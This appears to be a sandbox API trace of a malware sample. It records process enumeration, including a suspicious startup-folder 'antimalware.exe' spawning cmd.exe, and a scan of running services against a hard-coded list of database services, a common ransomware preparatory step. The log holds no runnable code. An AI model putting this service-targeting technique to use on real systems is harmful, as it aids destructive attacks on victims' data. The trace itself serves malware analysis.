	[0181.521] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0181.522] lstrlenW (lpString="taskhostw.exe") returned 13
	[0181.522] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0181.523] lstrlenW (lpString="msoia.exe") returned 9
	[0181.523] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0181.523] lstrlenW (lpString="explorer.exe") returned 12
	[0181.524] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0181.524] lstrlenW (lpString="SearchUI.exe") returned 12
	[0181.524] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0181.525] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0181.525] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0181.526] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0181.526] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0181.527] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0181.527] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0181.528] lstrlenW (lpString="dllhost.exe") returned 11
	[0181.528] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0181.529] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0181.529] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0181.529] lstrlenW (lpString="cmd.exe") returned 7
	[0181.530] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0181.530] lstrlenW (lpString="cmd.exe") returned 7
	[0181.531] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0181.532] lstrlenW (lpString="conhost.exe") returned 11
	[0181.532] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0181.533] lstrlenW (lpString="conhost.exe") returned 11
	[0181.533] Process32NextW (in: hSnapshot=0x358, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0181.533] CloseHandle (hObject=0x358) returned 1
	[0181.534] Sleep (dwMilliseconds=0x1f4) 
	[0182.383] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6dde18
	[0182.383] EnumServicesStatusExW (in: hSCManager=0x6dde18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0
	[0182.384] GetLastError () returned 0xea
	[0182.384] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1bc4) returned 0x43cb108
	[0182.384] EnumServicesStatusExW (in: hSCManager=0x6dde18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43cb108, cbBufSize=0x1bc4, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43cb108, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1
	[0182.385] CloseServiceHandle (hSCObject=0x6dde18) returned 1
	[0182.385] lstrlenW (lpString="Appinfo") returned 7
	[0182.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0182.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0182.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0182.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0182.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0182.386] lstrlenW (lpString="AppXSvc") returned 7
	[0182.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0182.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0182.386] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0182.386] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0182.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0182.386] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0182.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0182.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0182.386] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0182.386] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0182.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0182.386] lstrlenW (lpString="Audiosrv") returned 8
	[0182.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0182.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0182.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0182.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0182.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0182.387] lstrlenW (lpString="BFE") returned 3
	[0182.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0182.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0182.387] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0182.387] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0182.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0182.387] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0182.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0182.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0182.387] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0182.387] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0182.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0182.387] lstrlenW (lpString="CDPSvc") returned 6
	[0182.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0182.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0182.388] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0182.388] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0182.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0182.388] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0182.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0182.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0182.388] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0182.388] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0182.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0182.388] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0182.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0182.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0182.388] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0182.388] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0182.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0182.388] lstrlenW (lpString="CryptSvc") returned 8
	[0182.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0182.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0182.389] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0182.389] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0182.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0182.389] lstrlenW (lpString="DcomLaunch") returned 10
	[0182.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0182.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0182.389] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0182.389] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0182.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0182.389] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0182.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0182.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0182.389] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0182.389] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0182.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0182.389] lstrlenW (lpString="Dhcp") returned 4
	[0182.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0182.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0182.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0182.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0182.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0182.390] lstrlenW (lpString="Dnscache") returned 8
	[0182.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0182.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0182.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0182.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0182.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0182.390] lstrlenW (lpString="DPS") returned 3
	[0182.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0182.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0182.390] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0182.390] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0182.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0182.390] lstrlenW (lpString="DusmSvc") returned 7
	[0182.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0182.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0182.391] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0182.391] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0182.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0182.391] lstrlenW (lpString="EventLog") returned 8
	[0182.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0182.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0182.391] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0182.391] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0182.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0182.391] lstrlenW (lpString="EventSystem") returned 11
	[0182.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0182.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0182.391] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0182.391] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0182.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0182.392] lstrlenW (lpString="FontCache") returned 9
	[0182.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0182.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0182.392] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0182.392] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0182.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0182.392] lstrlenW (lpString="gpsvc") returned 5
	[0182.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0182.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0182.392] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0182.392] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0182.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0182.392] lstrlenW (lpString="iphlpsvc") returned 8
	[0182.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0182.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0182.392] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0182.392] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0182.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0182.393] lstrlenW (lpString="KeyIso") returned 6
	[0182.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0182.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0182.393] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0182.393] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0182.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0182.970] lstrlenW (lpString="LanmanServer") returned 12
	[0182.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0182.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0182.971] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0182.971] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0182.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0182.971] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0182.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0182.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0182.971] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0182.971] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0182.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0182.972] lstrlenW (lpString="lfsvc") returned 5
	[0182.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0182.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0182.972] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0182.972] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0182.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0182.972] lstrlenW (lpString="lmhosts") returned 7
	[0182.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0182.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0182.972] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0182.972] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0182.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0182.972] lstrlenW (lpString="LSM") returned 3
	[0182.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0182.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0182.972] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0182.973] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0182.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0182.973] lstrlenW (lpString="MpsSvc") returned 6
	[0182.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0182.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0182.973] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0182.973] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0182.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0182.973] lstrlenW (lpString="NcbService") returned 10
	[0182.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0182.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0182.973] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0182.973] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0182.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0182.973] lstrlenW (lpString="netprofm") returned 8
	[0182.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0182.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0182.973] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0182.973] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0182.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0182.974] lstrlenW (lpString="NgcSvc") returned 6
	[0182.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0182.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0182.974] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0182.974] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0182.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0182.974] lstrlenW (lpString="NlaSvc") returned 6
	[0182.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0182.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0182.974] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0182.974] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0182.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0182.974] lstrlenW (lpString="nsi") returned 3
	[0182.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0182.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0182.974] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0182.974] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0182.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0182.975] lstrlenW (lpString="PcaSvc") returned 6
	[0182.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0182.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0182.975] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0182.975] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0182.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0182.975] lstrlenW (lpString="PlugPlay") returned 8
	[0182.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0182.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0182.975] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0182.975] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0182.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0182.975] lstrlenW (lpString="Power") returned 5
	[0182.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0182.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0182.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0182.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0182.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0182.976] lstrlenW (lpString="ProfSvc") returned 7
	[0182.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0182.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0182.976] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0182.976] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0182.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0182.976] lstrlenW (lpString="RpcEptMapper") returned 12
	[0182.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0182.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0182.976] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0182.976] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0182.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0182.976] lstrlenW (lpString="RpcSs") returned 5
	[0182.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0182.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0182.977] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0182.977] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0182.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0182.977] lstrlenW (lpString="SamSs") returned 5
	[0182.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0182.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0182.977] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0182.977] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0182.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0182.977] lstrlenW (lpString="Schedule") returned 8
	[0182.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0182.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0182.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0182.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0182.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
